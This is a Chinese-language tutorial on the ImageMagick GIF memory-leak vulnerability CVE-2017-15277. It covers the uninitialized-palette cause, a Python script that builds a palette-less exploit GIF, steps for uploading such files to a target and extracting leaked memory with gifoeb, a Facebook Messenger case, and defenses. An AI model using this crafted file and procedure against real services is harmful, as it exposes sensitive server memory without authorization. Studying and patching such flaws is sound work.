ImageMagick漏洞(CVE-2017–15277)分析与利用教学

漏洞概述

CVE-2017–15277是ImageMagick图像处理组件中的一个内存信息泄露漏洞，影响版本包括：

• ImageMagick 7.0.6–1
• Graphicsmagick 1.3.26

该漏洞存在于coders/gif.c文件的ReadGIFImage函数中，当处理不具备全局或本地调色板的GIF图片时，会使用未初始化的调色板，导致服务器内存信息泄露。

漏洞原理

技术细节

漏洞核心在于GIF图片处理过程中的调色板初始化问题：

1. 当ImageMagick处理缺少调色板的GIF图片时
2. 会使用未初始化的内存区域作为调色板
3. 这些未初始化的内存可能包含敏感信息
4. 最终生成的预览图片会携带这些内存数据

影响范围

该漏洞可导致：

• 服务器内存信息泄露
• 可能泄露堆栈跟踪(Stack trace)信息
• 可能泄露字符串值(String value)信息
• 间接获取服务器运行时的敏感数据

漏洞利用方法

准备工作

1. 环境了解：

   • 熟悉GIF图片格式结构
   • 了解ImageMagick的基本功能和处理流程

2. 工具准备：

   • Python环境(用于生成特殊GIF)
   • gifoeb工具(漏洞利用工具)

GIF图片结构分析

标准GIF文件头结构：

构造恶意GIF

使用Python生成特殊构造的GIF图片：

import struct

screenWidth = 640
screenHeight = 480

f = open('exploit.gif', 'wb')

# GIF头部
f.write(b"GIF89a")
f.write(struct.pack('<h', screenWidth))  # 宽度
f.write(struct.pack('<h', screenHeight))  # 高度

# 调色板相关设置
bits = int('00000010', 2)  # 设置特定标志位
f.write(struct.pack('<b', bits))
f.write(struct.pack('<b', 0))  # 背景色索引
f.write(struct.pack('<b', 1))  # 像素宽高比

# 图像块
f.write(struct.pack('<b', 0x2c))  # 图像分隔符
f.write(struct.pack('<h', 0))     # 图像左位置
f.write(struct.pack('<h', 0))     # 图像顶位置
f.write(struct.pack('<h', screenWidth))  # 图像宽度
f.write(struct.pack('<h', screenHeight)) # 图像高度

# 本地调色板设置
f.write(struct.pack('<b', int('00000100', 2)))

# 空数据块
f.write(struct.pack('<b', 0x3b))  # 结束符
f.close()

关键点：

• 不包含任何实际的图像数据
• 缺少必要的调色板信息
• 保留基本的GIF结构但内容为空

漏洞利用步骤

1. 生成多种特殊GIF：

   • 不同尺寸
   • 不同头部设置
   • 但都缺少实际图像数据

2. 上传测试：

   • 将生成的GIF上传到目标系统
   • 观察系统处理后的输出

3. 分析结果：

   • 系统会生成包含内存数据的预览图
   • 每次生成的预览图可能不同(因为使用不同内存区域)

4. 提取信息：
   使用gifoeb工具从预览图中提取内存信息：

   for p in previews/*; do
       ./gifoeb recover $p | strings;
   done
   

实际案例分析

在Facebook Messenger网页版中的利用：

1. 通过消息功能发送构造的GIF

2. 观察服务器生成的预览图异常：

   • 可能显示为白噪声图片
   • 每次发送相同图片可能得到不同结果
   • 图片中可能包含内存数据

3. 收集这些预览图进行分析

防御措施

1. 升级ImageMagick：

   • 升级到已修复版本

2. 输入验证：

   • 严格验证上传的图片文件
   • 检查GIF文件的完整性

3. 沙箱处理：

   • 在沙箱环境中处理不可信图片

4. 内存管理：

   • 确保处理图像时使用初始化的内存

总结

CVE-2017–15277展示了图像处理组件中看似微小的问题可能导致严重的安全后果。通过精心构造的GIF图片，攻击者可以获取服务器内存中的敏感信息。这个案例也强调了：

1. 及时更新依赖组件的重要性
2. 对用户上传内容的严格处理必要性
3. 内存初始化在安全编码中的关键作用

对于安全研究人员，这类漏洞的发现需要：

• 对文件格式的深入理解
• 对目标系统处理流程的分析
• 创造性的测试思路
• 耐心的反复验证